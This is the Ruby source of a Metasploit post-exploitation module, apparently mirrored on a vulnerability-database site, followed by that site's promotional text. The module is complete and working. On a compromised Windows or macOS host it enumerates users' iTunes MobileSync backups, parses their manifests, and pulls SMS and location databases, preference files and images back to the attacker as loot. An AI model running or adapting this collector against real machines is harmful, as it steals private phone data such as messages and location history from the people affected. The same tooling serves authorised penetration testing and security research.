##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'English'
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Windows::Version
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather Apple iOS MobileSync Backup File Collection',
'Description' => %q{ This module will collect sensitive files from any on-disk iOS device backups },
'License' => MSF_LICENSE,
'Author' => [
'hdm',
'bannedit' # Based on bannedit's pidgin_cred module structure
],
'Platform' => %w[osx win],
'SessionTypes' => ['meterpreter', 'shell'],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
core_channel_eof
core_channel_open
core_channel_read
core_channel_write
stdapi_sys_config_getenv
stdapi_sys_config_getuid
]
}
}
)
)
register_options(
[
OptBool.new('DATABASES', [false, 'Collect all database files? (SMS, Location, etc)', true]),
OptBool.new('PLISTS', [false, 'Collect all preference list files?', true]),
OptBool.new('IMAGES', [false, 'Collect all image files?', false]),
OptBool.new('EVERYTHING', [false, 'Collect all stored files? (SLOW)', false])
]
)
end
#
# Even though iTunes is only Windows and Mac OS X, look for the MobileSync files on all platforms
#
#
def run
case session.platform
when 'osx'
@platform = :osx
paths = enum_users_unix
when 'windows'
@platform = :windows
drive = session.sys.config.getenv('SystemDrive')
version = get_version_info
if version.build_number >= Msf::WindowsVersion::Vista_SP0
@appdata = '\\AppData\\Roaming'
@users = drive + '\\Users'
else
@appdata = '\\Application Data'
@users = drive + '\\Documents and Settings'
end
if session.type != 'meterpreter'
print_error 'Only meterpreter sessions are supported on windows hosts'
return
end
paths = enum_users_windows
else
print_error "Unsupported platform #{session.platform}"
return
end
if paths.empty?
print_status('No users found with an iTunes backup directory')
return
end
process_backups(paths)
end
def enum_users_unix
if @platform == :osx
home = '/Users/'
else
home = '/home/'
end
if got_root?
userdirs = []
session.shell_command("ls #{home}").gsub(/\s/, "\n").split("\n").each do |user_name|
userdirs << home + user_name
end
userdirs << '/root'
else
userdirs = [ home + whoami ]
end
backup_paths = []
userdirs.each do |user_dir|
output = session.shell_command("ls #{user_dir}/Library/Application\\ Support/MobileSync/Backup/")
if output =~ /No such file/i
next
else
print_status("Found backup directory in: #{user_dir}")
backup_paths << "#{user_dir}/Library/Application\\ Support/MobileSync/Backup/"
end
end
check_for_backups_unix(backup_paths)
end
def check_for_backups_unix(backup_dirs)
dirs = []
backup_dirs.each do |backup_dir|
print_status("Checking for backups in #{backup_dir}")
session.shell_command("ls #{backup_dir}").each_line do |dir|
next if dir == '.' || dir == '..'
if dir =~ /^[0-9a-f]{16}/i
print_status("Found #{backup_dir}\\#{dir}")
dirs << ::File.join(backup_dir.chomp, dir.chomp)
end
end
end
dirs
end
def enum_users_windows
paths = Array.new
if got_root?
begin
session.fs.dir.foreach(@users) do |path|
next if path =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/i
bdir = "#{@users}\\#{path}#{@appdata}\\Apple Computer\\MobileSync\\Backup"
dirs = check_for_backups_win(bdir)
dirs.each { |dir| paths << dir } if dirs
end
rescue ::Rex::Post::Meterpreter::RequestError
# Handle the case of the @users base directory is not accessible
end
else
print_status "Only checking #{whoami} account since we do not have SYSTEM..."
path = "#{@users}\\#{whoami}#{@appdata}\\Apple Computer\\MobileSync\\Backup"
dirs = check_for_backups_win(path)
dirs.each { |dir| paths << dir } if dirs
end
return paths
end
def check_for_backups_win(bdir)
dirs = []
begin
print_status("Checking for backups in #{bdir}")
session.fs.dir.foreach(bdir) do |dir|
if dir =~ /^[0-9a-f]{16}/i
print_status("Found #{bdir}\\#{dir}")
dirs << "#{bdir}\\#{dir}"
end
end
rescue Rex::Post::Meterpreter::RequestError
# Handle base directories that do not exist
end
dirs
end
def process_backups(paths)
paths.each { |path| process_backup(path) }
end
def process_backup(path)
print_status("Pulling data from #{path}...")
mbdb_data = ''
mbdx_data = ''
print_status("Reading Manifest.mbdb from #{path}...")
if session.type == 'shell'
mbdb_data = session.shell_command("cat #{path}/Manifest.mbdb")
if mbdb_data =~ /No such file/i
print_status("Manifest.mbdb not found in #{path}...")
return
end
else
mfd = session.fs.file.new("#{path}\\Manifest.mbdb", 'rb')
mbdb_data << mfd.read until mfd.eof?
mfd.close
end
print_status("Reading Manifest.mbdx from #{path}...")
if session.type == 'shell'
mbdx_data = session.shell_command("cat #{path}/Manifest.mbdx")
if mbdx_data =~ /No such file/i
print_status("Manifest.mbdx not found in #{path}...")
return
end
else
mfd = session.fs.file.new("#{path}\\Manifest.mbdx", 'rb')
mbdx_data << mfd.read until mfd.eof?
mfd.close
end
manifest = Rex::Parser::AppleBackupManifestDB.new(mbdb_data, mbdx_data)
patterns = []
patterns << /\.db$/i if datastore['DATABASES']
patterns << /\.plist$/i if datastore['PLISTS']
patterns << /\.(jpeg|jpg|png|bmp|tiff|gif)$/i if datastore['IMAGES']
patterns << /.*/ if datastore['EVERYTHING']
done = {}
patterns.each do |pat|
manifest.entries.each_pair do |fname, info|
next if done[fname]
next if info[:filename].to_s !~ pat
print_status("Downloading #{info[:domain]} #{info[:filename]}...")
begin
fdata = ''
if session.type == 'shell'
fdata = session.shell_command("cat #{path}/#{fname}")
else
mfd = session.fs.file.new("#{path}\\#{fname}", 'rb')
fdata << mfd.read until mfd.eof?
mfd.close
end
bname = info[:filename] || 'unknown.bin'
rname = info[:domain].to_s + '_' + bname
rname = rname.gsub(%r{/|\\}, '.').gsub(/\s+/, '_').gsub(/[^A-Za-z0-9._]/, '').gsub(/_+/, '_')
ctype = 'application/octet-stream'
store_loot('ios.backup.data', ctype, session, fdata, rname, "iOS Backup: #{rname}")
rescue ::Interrupt
raise $ERROR_INFO
rescue ::Exception => e
print_error("Failed to download #{fname}: #{e.class} #{e}")
end
done[fname] = true
end
end
end
def got_root?
case @platform
when :windows
if session.sys.config.getuid =~ /SYSTEM/
return true
else
return false
end
else # unix, bsd, linux, osx
ret = whoami
if ret =~ /root/
return true
else
return false
end
end
end
def whoami
if @platform == :windows
session.sys.config.getenv('USERNAME')
else
session.shell_command('whoami').chomp
end
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation